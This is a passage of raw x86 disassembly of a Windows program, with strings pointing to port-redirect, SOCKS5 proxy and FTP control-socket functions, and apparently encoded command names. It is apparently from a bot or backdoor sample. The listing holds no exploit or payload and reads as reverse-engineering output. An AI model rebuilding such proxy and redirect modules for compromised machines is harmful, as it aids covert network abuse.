[esp+48h+var_20], ecx nop call near ptr 71AB2B66h mov ecx, [esi+9Dh] mov word ptr [esp+44h+var_2C+2], ax lea eax, [esp+44h+var_2C] push 10h push eax push ecx mov [esp+50h+var_34], 10h call near ptr 71AB3E00h nop test eax, eax jz short loc_42B96B mov edx, [esi+9Dh] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42B96B: ; CODE XREF: sub_42B880+C9j mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz loc_42BA64 loc_42B97F: ; CODE XREF: sub_42B880+1DEj mov ecx, [esi+9Dh] push 0Ah push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz loc_42BA45 mov ecx, [esi+9Dh] lea edx, [esp+44h+var_34] lea eax, [esp+44h+var_1C] push edx push eax push ecx nop call near ptr 71AC1028h mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42BA45 xor edi, edi cmp ebp, edi jz loc_42BA45 push 0A9h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42B9E5 mov ecx, eax call sub_401663 mov edi, eax loc_42B9E5: ; CODE XREF: sub_42B880+15Aj mov edx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], edx mov eax, [esi+3Bh] mov [edi+3Bh], eax mov ecx, [esi+3Fh] mov [edi+3Fh], ecx push ebx lea ecx, [edi+43h] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401FBE lea eax, [esi+26h] lea ecx, [edi+26h] push eax mov [edi+0A1h], ebp call sub_401FBE mov dl, [esi+97h] mov ecx, edi mov [edi+97h], dl mov al, [esi+98h] mov [edi+98h], al call sub_4013D4 loc_42BA45: ; CODE XREF: sub_42B880+111j ; sub_42B880+133j ... push 0FAh call near ptr 2811E0Eh nop mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz loc_42B97F loc_42BA64: ; CODE XREF: sub_42B880+F9j mov eax, [esi+9Dh] cmp eax, 0FFFFFFFFh jz short loc_42BA76 push eax call near ptr 71AB9639h nop loc_42BA76: ; CODE XREF: sub_42B880+1EDj mov edx, [esi+3Fh] mov ecx, ebx push edx call sub_4017E4 push eax mov eax, [esi+3Bh] push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 24h loc_42BAB8: ; CODE XREF: sub_42B880+7Cj mov ecx, [esp+44h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 34h retn sub_42B880 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42BB70 proc near ; CODE XREF: sub_4021DFj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42BB70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 3 push 14h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 mov esi, ecx push 5 lea eax, [esp+74h+var_3C] push 12h push eax mov dword ptr [esi+118h], 0 call sub_4019B5 add esp, 38h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_42BB70 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 12h push 7 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+38h] push 12h push edx call sub_4019B5 add esp, 38h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 14h push 14h push 8 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+3Ch] push 12h push ecx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+60h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea eax, [esp+40h] push 12h push eax call sub_4019B5 add esp, 40h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+8Eh] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 49h push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+44h] push 12h push edx call sub_4019B5 add esp, 44h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 push eax lea eax, [esi+0BCh] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+54h] push 12h push ecx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017E4 add esi, 0EAh push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0A0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42BE60: ; CODE XREF: ___:loc_40202Cj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43BD84 push eax mov large fs:0, esp sub esp, 68h push ebx push ebp push esi mov esi, [esp+84h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4017E4 push eax mov ecx, edi call sub_4012EE or ebx, 0FFFFFFFFh test eax, eax jnz loc_42BFC7 push 0A1h call sub_4367FA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h dd 93E8C88Bh, 8BFFFD57h, 360068F8h, 448D0044h, 16A4C24h dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h dd 0FFFD57BAh, 84C7C88Bh, 8024h, 100h, 58DEE800h, 9050FFFDh dd 7F000BE8h, 4C48377h, 48244C8Dh, 893B4789h, 80249Ch dd 3E80000h, 68FFFD53h, 443600h, 4C244C8Dh, 8B51026Ah dd 5778E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 6074E800h dd 4C8DFFFDh, 9C894824h, 8024h, 52CCE800h, 68FFFDh, 8D004436h dd 6A4C2454h, 0CE8B5203h, 0FD5741E8h, 0C7C88BFFh, 802484h dd 30000h, 65E80000h, 50FFFD58h, 7EFF93E8h, 0C4839077h dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD528Ah dd 8D69468Dh, 0E850264Fh, 0FFFD6016h, 938E8Ah, 8F880000h dd 97h, 94968Ah, 0CF8B0000h, 989788h, 0DE80000h db 54h, 0FDh, 0FFh ; --------------------------------------------------------------------------- loc_42BFC7: ; CODE XREF: ___:0042BE9Dj lea ecx, [ebp+32h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C0F7 push 9Dh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 4 jz short loc_42C00E mov ecx, eax call sub_401889 mov edi, eax jmp short loc_42C010 ; --------------------------------------------------------------------------- loc_42C00E: ; CODE XREF: ___:0042C001j xor edi, edi loc_42C010: ; CODE XREF: ___:0042C00Cj push offset asc_443600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE push eax lea ecx, [edi+58h] mov dword ptr [esp+84h], 5 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016AE push eax lea ecx, [edi+6Dh] mov dword ptr [esp+84h], 6 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+4Ch] push 3 push edx mov ecx, esi call sub_4016AE push eax lea ecx, [edi+82h] mov dword ptr [esp+84h], 7 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013D4 loc_42C0F7: ; CODE XREF: ___:0042BFDAj lea ecx, [ebp+60h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C220 push 0A2h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 8 jz short loc_42C13E mov ecx, eax call sub_4018DE mov edi, eax jmp short loc_42C140 ; --------------------------------------------------------------------------- loc_42C13E: ; CODE XREF: ___:0042C131j xor edi, edi loc_42C140: ; CODE XREF: ___:0042C13Cj push offset asc_443600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE mov ecx, eax mov dword ptr [esp+80h], 9 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016AE push offset aTrue ; "true" mov ecx, eax mov dword ptr [esp+84h], 0Ah call sub_401500 test eax, eax lea ecx, [esp+48h] mov [esp+80h], ebx setz byte ptr [esp+88h] call sub_401226 mov al, [esp+88h] test al, al jz short loc_42C1EE mov byte ptr [edi+9Dh], 1 jmp short loc_42C1F5 ; --------------------------------------------------------------------------- loc_42C1EE: ; CODE XREF: ___:0042C1E3j mov byte ptr [edi+9Dh], 0 loc_42C1F5: ; CODE XREF: ___:0042C1ECj lea edx, [esi+69h] lea ecx, [edi+26h] push edx call sub_401FBE mov al, [esi+93h] mov [edi+97h], al mov cl, [esi+94h] mov [edi+98h], cl mov ecx, edi call sub_4013D4 loc_42C220: ; CODE XREF: ___:0042C10Aj lea ecx, [ebp+8Eh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C2ED push 0A1h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 0Bh jz short loc_42C26A mov ecx, eax call sub_40216C mov edi, eax jmp short loc_42C26C ; --------------------------------------------------------------------------- loc_42C26A: ; CODE XREF: ___:0042C25Dj xor edi, edi loc_42C26C: ; CODE XREF: ___:0042C268j push offset asc_443600 ; " " lea edx, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push edx mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE mov ecx, eax mov dword ptr [esp+80h], 0Ch call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013D4 loc_42C2ED: ; CODE XREF: ___:0042C236j lea ecx, [ebp+0BCh] call sub_4014D3 lea edi, [esi+7Eh] push eax mov ecx, edi mov [esp+8Ch], edi call sub_4012EE test eax, eax jnz loc_42C519 lea ecx, [esp+30h] call sub_401424 lea ecx, [esp+18h] mov dword ptr [esp+80h], 0Dh call sub_401424 push offset asc_443600 ; " " lea eax, [esp+4Ch] push 2 push eax mov ecx, esi mov byte ptr [esp+8Ch], 0Eh call sub_4016AE mov ecx, eax mov byte ptr [esp+80h], 0Fh call sub_4017E4 push eax lea ecx, [esp+34h] call sub_401A87 lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 3 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+80h], 10h call sub_4017E4 push eax lea ecx, [esp+1Ch] call sub_401A87 lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+30h] call sub_4014D3 cmp eax, offset byte_446F60 jnz short loc_42C3CF push offset aRoot ; "root" lea ecx, [esp+1Ch] call sub_401A87 loc_42C3CF: ; CODE XREF: ___:0042C3BFj lea ecx, [esp+18h] call sub_4014D3 cmp eax, offset byte_446F60 jnz short loc_42C3ED push offset byte_446F60 lea ecx, [esp+1Ch] call sub_401A87 loc_42C3ED: ; CODE XREF: ___:0042C3DDj push offset asc_443600 ; " " lea edx, [esp+4Ch] push 1 push edx mov ecx, esi call sub_4016AE mov edi, eax lea ecx, [esp+18h] mov byte ptr [esp+80h], 11h call sub_4017E4 push eax lea ecx, [esp+34h] call sub_4017E4 push eax mov ecx, edi call sub_4017E4 mov edi, dword_50FB08 push eax call edi ; atoi add esp, 4 lea ecx, [esi+69h] push eax push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "... call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 20h lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+28h], esp push eax call sub_401861 lea ecx, [esp+48h] mov byte ptr [esp+98h], 12h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+44h], esp push eax call sub_401861 push offset asc_443600 ; " " lea edx, [esp+94h] push 1 push edx mov ecx, esi mov byte ptr [esp+0BCh], 13h call sub_4016AE mov ecx, eax mov byte ptr [esp+0B0h], 15h call sub_4017E4 push eax call edi ; atoi add esp, 4 push eax call sub_401C17 add esp, 34h lea ecx, [esp+60h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] mov byte ptr [esp+80h], 0Dh call sub_401226 lea ecx, [esp+30h] mov [esp+80h], ebx call sub_401226 mov edi, [esp+88h] loc_42C519: ; CODE XREF: ___:0042C30Cj lea ecx, [ebp+0EAh] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42C536 mov [ebp+11Ch], al loc_42C536: ; CODE XREF: ___:0042C52Ej mov ecx, [esp+78h] pop edi pop esi pop ebp mov al, 1 mov large fs:0, ecx pop ebx add esp, 74h retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 1C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C710 proc near ; CODE XREF: sub_4021A8j var_4 = dword ptr -4 push ecx mov edx, dword_447A7D push esi mov esi, ecx mov eax, [esi+99h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_42C731 inc ecx mov [eax+118h], ecx loc_42C731: ; CODE XREF: sub_42C710+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+99h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E6ECB call sub_40120D sub_42C710 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C790 proc near ; CODE XREF: sub_401E06j var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call sub_436F4E sub_42C790 endp ; --------------------------------------------------------------------------- db 85h, 0C0h, 74h dd 840D8B19h, 500050FAh, 6840C183h, 445404h, 4655E851h dd 83907781h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42C7E0: ; CODE XREF: ___:00401D7Aj mov eax, [esp+4] test eax, eax jz short loc_42C7F3 mov ecx, [eax+18h] test ecx, ecx jnz short loc_42C7F3 add eax, 44h retn ; --------------------------------------------------------------------------- loc_42C7F3: ; CODE XREF: ___:0042C7E6j ; ___:0042C7EDj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C810 proc near ; CODE XREF: sub_401A69j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_12 = word ptr 16h sub esp, 14h mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ebx push ebp mov [esp+1Ch+var_C], eax push esi push edi mov [esp+24h+var_8], eax push ecx mov [esp+28h+var_14], 1 mov [esp+28h+var_4], eax mov word ptr [esp+28h+var_10], 2 nop call near ptr 77C46125h mov ebp, eax push 3Ah push ebp nop call near ptr 77C47660h mov esi, eax xor ebx, ebx add esp, 0Ch cmp esi, ebx jnz short loc_42C884 push offset aTcp ; "tcp" push offset aFtp ; "ftp" call sub_436F96 ; --------------------------------------------------------------------------- dd 6C75C33Bh, 44545868h, 0A57CE800h, 83907780h, 0C03304C4h dd 5B5D5E5Fh, 0C314C483h ; --------------------------------------------------------------------------- loc_42C884: ; CODE XREF: sub_42C810+47j mov [esi], bl mov eax, dword_50FB14 inc esi cmp dword ptr [eax], 1 jle short loc_42C8A2 movsx ecx, byte ptr [esi] push 4 push ecx nop call near ptr 77C1C561h add esp, 8 jmp short loc_42C8B2 ; --------------------------------------------------------------------------- loc_42C8A2: ; CODE XREF: sub_42C810+7Fj mov eax, dword_50FA78 movsx edx, byte ptr [esi] mov ecx, [eax] mov al, [ecx+edx*2] and eax, 4 loc_42C8B2: ; CODE XREF: sub_42C810+90j cmp eax, ebx jz short loc_42C8CD push esi nop call near ptr 77C1BF18h add esp, 4 push eax call sub_436F36 ; --------------------------------------------------------------------------- mov [esp+arg_12], ax jmp short sub_42C8E1 ; --------------------------------------------------------------------------- loc_42C8CD: ; CODE XREF: sub_42C810+A4j push offset aTcp ; "tcp" push esi call sub_436F96 sub_42C810 endp ; --------------------------------------------------------------------------- mov dx, [eax+8] mov [esp+16h], dx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C8E1 proc near ; CODE XREF: sub_42C810+BBj push ebp call sub_436EF4 sub_42C8E1 endp ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh mov [esp+18h], eax jnz short loc_42C92D push ebp call sub_436EE8 ; --------------------------------------------------------------------------- dw 0C33Bh dd 48681875h, 0E8004454h, 7780A4EEh, 4C48390h, 5E5FC033h dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch dd 2E9C130h, 0CA8BA5F3h, 0F303E183h ; --------------------------------------------------------------------------- movsb loc_42C92D: ; CODE XREF: ___:0042C8EEj push ebp mov ebp, dword_50FAC4 call ebp ; free add esp, 4 push 6 push 1 push 2 call sub_436F3C ; --------------------------------------------------------------------------- dd 0FF83F88Bh, 681875FFh, 445440h, 0A49CE890h, 0C4837780h dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h dd 0FFFF68h, 0DE85700h, 830000A6h, 775FFF8h, 44543068h dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h dd 52306807h, 1BEB0044h, 14468h, 90016A00h, 7FF71AE8h dd 83F08B77h, 0F33B08C4h, 28681E75h, 90004454h, 80A435E8h dd 4C48377h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h dd 200068h, 2CE89000h, 83777FFAh, 0C33B04C4h, 75144689h dd 54286824h, 0E8900044h, 7780A402h, 5704C483h, 0A50DE8h dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42CB10 proc near ; CODE XREF: ___:0042D266p ; sub_42DFD0+70p var_8 = byte ptr -8 var_5 = byte ptr -5 var_4 = byte ptr -4 arg_0 = byte ptr 4 arg_4 = dword ptr 8 sub esp, 8 push ebx push ebp push esi push edi mov edi, [esp+18h+arg_4] push edi push 100h lea esi, [edi+44h] push esi call sub_42CC50 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42CB4A loc_42CB32: ; CODE XREF: sub_42CB10+8Ej ; sub_42CB10+D9j push offset aControlSocketR ; "Control socket read failed" nop call near ptr 77C36DF2h add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CB4A: ; CODE XREF: sub_42CB10+20j mov eax, dword_50E3CC mov ebx, dword_50FA80 cmp eax, 1 jle short loc_42CB6E mov eax, dword_50FA84 push esi add eax, 40h push offset aS ; "%s" push eax call ebx ; fprintf add esp, 0Ch loc_42CB6E: ; CODE XREF: sub_42CB10+48j cmp byte ptr [edi+47h], 2Dh jnz short loc_42CBEE push 3 lea ecx, [esp+1Ch+var_8] push esi push ecx call near ptr 77C47A90h nop push edi push 100h push esi mov [esp+30h+var_5], 20h mov [esp+30h+var_4], 0 call sub_42CC50 add esp, 18h cmp eax, 0FFFFFFFFh jz short loc_42CB32 mov ebp, dword_50FAD4 loc_42CBA6: ; CODE XREF: sub_42CB10+D7j cmp dword_50E3CC, 1 jle short loc_42CBC4 mov edx, dword_50FA84 push esi add edx, 40h push offset aS ; "%s" push edx call ebx ; fprintf add esp, 0Ch loc_42CBC4: ; CODE XREF: sub_42CB10+9Dj lea eax, [esp+18h+var_8] push 4 push eax push esi call ebp ; strncmp add esp, 0Ch test eax, eax jz short loc_42CBEE push edi push 100h push esi call sub_42CC50 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42CBA6 jmp loc_42CB32 ; --------------------------------------------------------------------------- loc_42CBEE: ; CODE XREF: sub_42CB10+62j ; sub_42CB10+C3j mov cl, [esi] mov dl, [esp+18h+arg_0] xor eax, eax pop edi cmp cl, dl pop esi pop ebp pop ebx setz al add esp, 8 retn sub_42CB10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CC50 proc near ; CODE XREF: sub_42CB10+15p ; sub_42CB10+83p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 8 push ebx push ebp mov ebp, [esp+10h+arg_0] push esi mov esi, [esp+14h+arg_8] xor ecx, ecx push edi mov [esp+18h+var_8], ecx mov eax, [esi+18h] mov [esp+18h+var_4], ecx cmp eax, ecx jz short loc_42CC80 cmp eax, 1 jz short loc_42CC80 pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CC80: ; CODE XREF: sub_42CC50+1Ej ; sub_42CC50+23j mov ebx, [esp+18h+arg_4] cmp ebx, ecx jnz short loc_42CC92 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CC92: ; CODE XREF: sub_42CC50+36j ; sub_42CC50+115j mov edi, [esi+0Ch] test edi, edi jle short loc_42CCE3 cmp ebx, edi jge short loc_42CCA0 lea edi, [ebx-1] loc_42CCA0: ; CODE XREF: sub_42CC50+4Bj mov eax, [esi+4] push edi push 0Ah push eax push ebp call near ptr 77C46170h nop add esp, 10h test eax, eax jz short loc_42CCB9 mov edi, eax sub edi, ebp loc_42CCB9: ; CODE XREF: sub_42CC50+63j mov edx, [esp+18h+var_8] add ebp, edi add edx, edi sub ebx, edi mov [esp+18h+var_8], edx mov byte ptr [ebp+0], 0 mov ecx, [esi+4] mov edx, [esi+0Ch] add ecx, edi sub edx, edi test eax, eax mov [esi+4], ecx mov [esi+0Ch], edx jnz loc_42CD6A loc_42CCE3: ; CODE XREF: sub_42CC50+47j cmp ebx, 1 jz loc_42CDBD mov ecx, [esi] mov eax, [esi+4] cmp ecx, eax jnz short loc_42CD0B mov eax, [esi+14h] mov dword ptr [esi+0Ch], 0 mov [esi+4], eax mov [esi], eax mov dword ptr [esi+10h], 2000h loc_42CD0B: ; CODE XREF: sub_42CC50+A3j mov eax, [esp+18h+var_4] test eax, eax jnz loc_42CDD0 push esi call sub_42CE80 add esp, 4 test eax, eax jz loc_42CE02 mov edx, [esi+10h] mov eax, [esi] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_436EFA ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz loc_42CDEC test eax, eax jnz short loc_42CD4F mov [esp+18h+var_4], 1 loc_42CD4F: ; CODE XREF: sub_42CC50+F5j mov edi, [esi+10h] mov edx, [esi+0Ch] mov ecx, [esi] sub edi, eax add edx, eax add ecx, eax mov [esi+10h], edi mov [esi+0Ch], edx mov [esi], ecx jmp loc_42CC92 ; --------------------------------------------------------------------------- loc_42CD6A: ; CODE XREF: sub_42CC50+8Dj sub ebp, 2 mov esi, offset asc_445220 ; "\r\n" mov eax, ebp loc_42CD74: ; CODE XREF: sub_42CC50+146j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42CD9C test cl, cl jz short loc_42CD98 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42CD9C add eax, 2 add esi, 2 test cl, cl jnz short loc_42CD74 loc_42CD98: ; CODE XREF: sub_42CC50+130j xor eax, eax jmp short loc_42CDA1 ; --------------------------------------------------------------------------- loc_42CD9C: ; CODE XREF: sub_42CC50+12Cj ; sub_42CC50+13Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42CDA1: ; CODE XREF: sub_42CC50+14Aj test eax, eax jnz short loc_42CE02 mov byte ptr [ebp+0], 0Ah mov [ebp+1], al mov eax, [esp+18h+var_8] pop edi dec eax pop esi pop ebp mov [esp+0Ch+var_8], eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDBD: ; CODE XREF: sub_42CC50+96j mov eax, [esp+18h+arg_0] pop edi pop esi pop ebp mov byte ptr [eax], 0 mov eax, [esp+0Ch+var_8] pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDD0: ; CODE XREF: sub_42CC50+C1j mov eax, [esp+18h+var_8] test eax, eax jnz short loc_42CE02 pop edi mov [esp+14h+var_8], 0FFFFFFFFh mov eax, [esp+14h+var_8] pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDEC: ; CODE XREF: sub_42CC50+EDj push offset aRead ; "read" nop call near ptr 77C36DF2h add esp, 4 mov [esp+18h+var_8], 0FFFFFFFFh loc_42CE02: ; CODE XREF: sub_42CC50+D2j ; sub_42CC50+153j ... mov eax, [esp+18h+var_8] pop edi pop esi pop ebp pop ebx add esp, 8 retn sub_42CC50 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CE80 proc near ; CODE XREF: sub_42CC50+C8p ; sub_42DC70:loc_42DC9Dp ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 10Ch push ebx push ebp push esi mov esi, [esp+118h+arg_0] xor ebx, ebx xor ebp, ebp mov eax, [esi+18h] test eax, eax jz loc_42CF63 mov ecx, [esi+30h] test ecx, ecx jz loc_42CF63 cmp eax, 2 jnz short loc_42CEB5 lea ebp, [esp+118h+var_104] jmp short loc_42CEB9 ; --------------------------------------------------------------------------- loc_42CEB5: ; CODE XREF: sub_42CE80+2Dj lea ebx, [esp+118h+var_104] loc_42CEB9: ; CODE XREF: sub_42CE80+33j xor eax, eax push edi mov [esp+11Ch+var_104], eax loc_42CEC0: ; CODE XREF: sub_42CE80+98j cmp eax, 40h jnb short loc_42CED5 mov ecx, [esi+8] mov [esp+eax*4+11Ch+var_100], ecx mov eax, [esp+11Ch+var_104] inc eax mov [esp+11Ch+var_104], eax loc_42CED5: ; CODE XREF: sub_42CE80+43j mov edx, [esi+28h] mov eax, [esi+2Ch] lea ecx, [esp+11Ch+var_10C] mov [esp+11Ch+var_10C], edx mov edx, [esi+8] push ecx push 0 push ebp inc edx push ebx push edx mov 